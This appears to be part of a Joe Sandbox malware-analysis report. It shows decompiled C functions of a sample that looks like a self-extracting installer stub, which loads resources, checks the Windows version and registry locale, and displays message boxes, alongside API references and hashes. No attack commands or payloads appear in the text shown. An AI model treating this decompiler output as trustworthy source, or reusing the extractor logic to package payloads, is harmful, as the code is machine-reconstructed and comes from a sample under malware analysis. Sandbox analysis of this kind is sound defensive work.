				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E00F86CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x00f843d0
0x00f843d8
0x00f843df
0x00f843e6
0x00f843ec
0x00f843f1
0x00f84400
0x00f84403
0x00f8440b
0x00f84420
0x00f84429
0x00f84437
0x00f84444
0x00f84447
0x00f8444d
0x00f84454
0x00f8445b
0x00f84460
0x00f84461
0x00f84467
0x00f8446f
0x00f84473
0x00f84473
0x00f84463
0x00f84463
0x00f84463
0x00f8447a
0x00f84481
0x00f84484
0x00f8448a
0x00f84492
0x00f84496
0x00f84496
0x00f84486
0x00f84486
0x00f84486
0x00f844b8

APIs

GetWindowRect.USER32(?,?), ref: 00F843F1
GetWindowRect.USER32(00000000,?), ref: 00F8440B
GetDC.USER32(?), ref: 00F84423
GetDeviceCaps.GDI32(00000000,00000008), ref: 00F8442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00F8443A
ReleaseDC.USER32(?,00000000), ref: 00F84447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001,?), ref: 00F844A2

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 3ec5185e1f41faafe966545b1ed98b1e943bcad60116f30e01ac2d99372ed2ba
Instruction ID: 5cdb442add0bc3976f4e91dee0f0fb7790f49e40224488fddb167cd6dc9ed3c0
Opcode Fuzzy Hash: 3ec5185e1f41faafe966545b1ed98b1e943bcad60116f30e01ac2d99372ed2ba
Instruction Fuzzy Hash: 6A315A32E0051DAFDB14DFB8DD889EEBBB5EB89310F254169F805F3250DA30AC059B60

Uniqueness

Uniqueness Score: -1.00%

Function 00F86298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00F86298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0xf88004; // 0x644c7055
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E00F8171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0xf89124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0xf8a288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E00F8171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E00F86CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x00f86298
0x00f862a0
0x00f862a7
0x00f862ad
0x00f862af
0x00f862bb
0x00f862c3
0x00f862c4
0x00f8633b
0x00f8633b
0x00f86345
0x00f8634d
0x00000000
0x00000000
0x00f862da
0x00f862de
0x00f8635f
0x00f86369
0x00f862e0
0x00f862e0
0x00f862e0
0x00f862e3
0x00f862e5
0x00f862e5
0x00f862e8
0x00f862e8
0x00f862ea
0x00f862eb
0x00f862ef
0x00f862f1
0x00f862f3
0x00f86302
0x00f86308
0x00f8630d
0x00f86314
0x00f86314
0x00f86316
0x00f86319
0x00f86355
0x00f86357
0x00f8631b
0x00f8631b
0x00f86331
0x00f86334
0x00f86339
0x00000000
0x00f86339
0x00f86319
0x00f8636b
0x00f8637d
0x00f8637d
0x00000000

APIs

Part of subcall function 00F8171E: _vsnprintf.MSVCRT ref: 00F81750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,00F851CA,00000004,00000024,00F82F71,?,00000002,00000000), ref: 00F862CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F851CA,00000004,00000024,00F82F71,?,00000002,00000000), ref: 00F862D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F851CA,00000004,00000024,00F82F71,?,00000002,00000000), ref: 00F8631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00F86345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F851CA,00000004,00000024,00F82F71,?,00000002,00000000), ref: 00F86357

Strings

UPDFILE%lu, xrefs: 00F862B3, 00F86329

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: fe12ebcf1929f11c5a9e7d1b056afb56cfede8c5affcc726db414384a53fa5e1
Instruction ID: 096558f961a4bfc61cf7c631631876f6364363db60d10102d41139e112eec9ba
Opcode Fuzzy Hash: fe12ebcf1929f11c5a9e7d1b056afb56cfede8c5affcc726db414384a53fa5e1
Instruction Fuzzy Hash: C121F671A00219ABEB10AFA4DC499FE7B7CFB44710B00021AF902E3241DB359D02ABE1

Uniqueness

Uniqueness Score: -1.00%

Function 00F8681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F8681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0xf88004; // 0x644c7055
				_v8 = _t19 ^ _t44;
				_t41 =  *0xf881d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0xf881d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0xf881d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0xf81140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E00F866F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0xf881d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E00F86CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x00f8681f
0x00f8682a
0x00f86831
0x00f86836
0x00f8683c
0x00f8683e
0x00f86848
0x00f86851
0x00f8685d
0x00f86864
0x00f86876
0x00f8693a
0x00f8693a
0x00f8687c
0x00f8687e
0x00f86885
0x00000000
0x00f868d6
0x00f868f4
0x00f86900
0x00f86902
0x00f8690a
0x00000000
0x00f8690c
0x00f8690c
0x00f8691c
0x00000000
0x00f8691e
0x00f86924
0x00f8692b
0x00f86932
0x00000000
0x00000000
0x00000000
0x00f8692b
0x00f8691c
0x00f8690a
0x00f86885
0x00f86876
0x00f86951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00F8686E
GetSystemMetrics.USER32(0000004A), ref: 00F868A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00F868CC
RegQueryValueExA.ADVAPI32(?,00F81140,00000000,?,?,0000000C), ref: 00F868F4
RegCloseKey.ADVAPI32(?), ref: 00F86902

Part of subcall function 00F866F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,00F8691A), ref: 00F86741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00F868C2

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 63292bd12a7d01b1a19ff9d36df6a02092d7f4ef4ff2bb8df984a6fff1e343d3
Instruction ID: 5e4cdcefcdd49df0254a7cd117f3542546a212dab8753b31df69f90f0481b5ef
Opcode Fuzzy Hash: 63292bd12a7d01b1a19ff9d36df6a02092d7f4ef4ff2bb8df984a6fff1e343d3
Instruction Fuzzy Hash: 2E313C31E00228DFDB31AB51DD45BEAB7B9EB45778F0001A5E949E6180DB309E86EF52

Uniqueness

Uniqueness Score: -1.00%

Function 00F83A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F83A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E00F8468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0xf88d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E00F8468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0xf88d4c, "<None>") == 0) {
							LocalFree( *0xf88d4c);
							L9:
							 *0xf89124 = 0;
							return 1;
						}
						_t9 = E00F86517(_t19, 0x7d1, 0, E00F83100, 0, 0);
						LocalFree( *0xf88d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0xf89124 = 0x800704c7;
						L2:
						return 0;
					}
					E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0xf88d4c);
					 *0xf89124 = 0x80070714;
					goto L2;
				}
				E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xf89124 = E00F86285();
				goto L2;
			}

0x00f83a46
0x00f83a57
0x00f83a5d
0x00f83a63
0x00f83a6a
0x00f83a91
0x00f83a9a
0x00f83ad8
0x00f83b13
0x00f83b19
0x00f83b1b
0x00000000
0x00f83b21
0x00f83ae7
0x00f83af4
0x00f83afc
0x00000000
0x00000000
0x00f83afe
0x00f83a87
0x00000000
0x00f83a87
0x00f83aa8
0x00f83ab3
0x00f83ab9
0x00000000
0x00f83ab9
0x00f83a78
0x00f83a82
0x00000000

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F82F64,?,00000002,00000000), ref: 00F83A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00F83AB3

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00F83AD0
LocalFree.KERNEL32 ref: 00F83B13

Part of subcall function 00F86517: FindResourceA.KERNEL32(00F80000,000007D6,00000005), ref: 00F8652A
Part of subcall function 00F86517: LoadResource.KERNEL32(00F80000,00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F86538
Part of subcall function 00F86517: DialogBoxIndirectParamA.USER32(00F80000,00000000,00000547,00F819E0,00000000), ref: 00F86557
Part of subcall function 00F86517: FreeResource.KERNEL32(00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F86560

LocalFree.KERNEL32(00000000,00F83100,00000000,00000000), ref: 00F83AF4

Strings

<None>, xrefs: 00F83AC5
LICENSE, xrefs: 00F83A46

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 406b4e378b7158b032ef692b86b51c349143a542b2ab3f86b1b221eb43cd2b28
Instruction ID: 6a8943fccb5941db224efa4346a7741be0122548405fb68394f72c7b7cbc4e2e
Opcode Fuzzy Hash: 406b4e378b7158b032ef692b86b51c349143a542b2ab3f86b1b221eb43cd2b28
Instruction Fuzzy Hash: 2611D672704205ABD724BF729C0DFF779B9EBD5B50B10412EB541DA1B1EABD9802B720

Uniqueness

Uniqueness Score: -1.00%

Function 00F824E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F824E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0xf88004; // 0x644c7055
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E00F8658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E00F86CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x00f824e0
0x00f824eb
0x00f824f2
0x00f824f7
0x00f82504
0x00f8250e
0x00f8251d
0x00f8252c
0x00f82541
0x00f82546
0x00f82553
0x00f82555
0x00f82555
0x00f82546
0x00f8256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00F82506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 00F8252C
_lopen.KERNEL32(?,00000040), ref: 00F8253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 00F8254C
_lclose.KERNEL32(00000000), ref: 00F82555

Strings

wininit.ini, xrefs: 00F82510

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: dc81203c369446bbc4cd6c1a2683949f007b9022488b1e5f08c39ce59561e621
Instruction ID: 332e8665e8469580608c41832836f5eab2903e12a3eb633747f354da73c673ee
Opcode Fuzzy Hash: dc81203c369446bbc4cd6c1a2683949f007b9022488b1e5f08c39ce59561e621
Instruction Fuzzy Hash: 7E01B532A0011867D720AB65DC0CEEF7B7CEB45760F040155FA49D7190DE749E46DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F836EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00F836EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0xf88004; // 0x644c7055
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0xf88184 = 1;
						 *0xf88180 = 1;
						L13:
						 *0xf89a40 = _t119;
						L14:
						__eflags =  *0xf88a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E00F82A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E00F82A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0xf88a38 & 0x00000001;
											if(( *0xf88a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("lenta");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E00F8681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "lenta", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E00F867C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E00F828E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0xf89a40 = _t119;
						 *0xf88184 = 1;
						 *0xf88180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0xf89a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0xf88184 = _t135;
							 *0xf88180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E00F844B9(0, _t138);
					L66:
					return E00F86CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x00f836f9
0x00f83700
0x00f8370c
0x00f83716
0x00f83718
0x00f8371b
0x00f83721
0x00f8372b
0x00f8373d
0x00f83745
0x00f83746
0x00f83746
0x00f83749
0x00f837ab
0x00f837ad
0x00f837ae
0x00f837b3
0x00f837b8
0x00f837b8
0x00f837bf
0x00f837bf
0x00f837c5
0x00000000
0x00000000
0x00f837cb
0x00f837cd
0x00000000
0x00000000
0x00f837d5
0x00f837db
0x00f837e8
0x00f837ea
0x00f837ea
0x00f837ea
0x00f837f0
0x00f837f6
0x00f83805
0x00f83817
0x00f8382b
0x00f83830
0x00f83836
0x00f8383b
0x00f8383d
0x00f838eb
0x00f838eb
0x00f838f2
0x00f8390c
0x00f83911
0x00f83911
0x00f83913
0x00f8394d
0x00f8394d
0x00f8394f
0x00f838a9
0x00f838a9
0x00f838b0
0x00f838b2
0x00f838b9
0x00f838bb
0x00f838c1
0x00f83975
0x00f838c7
0x00f838de
0x00f838e0
0x00f838e0
0x00f8397b
0x00f8397d
0x00f839a9
0x00f8397f
0x00f83982
0x00f8398b
0x00f8398d
0x00f8398f
0x00f8399f
0x00f839a1
0x00f83991
0x00f83991
0x00f83991
0x00f8398f
0x00f839af
0x00f839b6
0x00f83a0f
0x00f83a0f
0x00f83a11
0x00f83a13
0x00f83a19
0x00000000
0x00f839b8
0x00f839b8
0x00f839ba
0x00000000
0x00000000
0x00f839bc
0x00f839bf
0x00000000
0x00000000
0x00f839c3
0x00f839c9
0x00f839ce
0x00f839d0
0x00f839e3
0x00f839e5
0x00f839e6
0x00f839f1
0x00f839f7
0x00f839fa
0x00f83a01
0x00f83a04
0x00000000
0x00000000
0x00f83a06
0x00f83a09
0x00f83a09
0x00f83a0b
0x00f83a0b
0x00000000
0x00f83a09
0x00f839fc
0x00000000
0x00f839fc
0x00f839d3
0x00f839d8
0x00f839da
0x00000000
0x00000000
0x00000000
0x00f839dc
0x00f839b6
0x00f83955
0x00f8395b
0x00000000
0x00000000
0x00f83961
0x00f83963
0x00000000
0x00000000
0x00f83969
0x00f83969
0x00000000
0x00f83969
0x00f83915
0x00f83915
0x00f8391b
0x00f8391f
0x00000000
0x00000000
0x00f8392d
0x00f83933
0x00f83938
0x00f8393a
0x00000000
0x00000000
0x00f83940
0x00f83946
0x00f8394b
0x00000000
0x00f8394b
0x00000000
0x00f838f2
0x00f83843
0x00f83845
0x00000000
0x00000000
0x00f8384b
0x00f8384d
0x00f83883
0x00f83885
0x00000000
0x00000000
0x00f8389a
0x00f8389e
0x00f8389e
0x00000000
0x00000000
0x00f838a0
0x00f838a0
0x00f838a2
0x00000000
0x00000000
0x00f838a4
0x00000000
0x00f838a4
0x00f8384f
0x00f83851
0x00f83857
0x00f8386e
0x00f83877
0x00f8387b
0x00000000
0x00000000
0x00000000
0x00f83881
0x00f83859
0x00f8385c
0x00f83862
0x00f83866
0x00000000
0x00000000
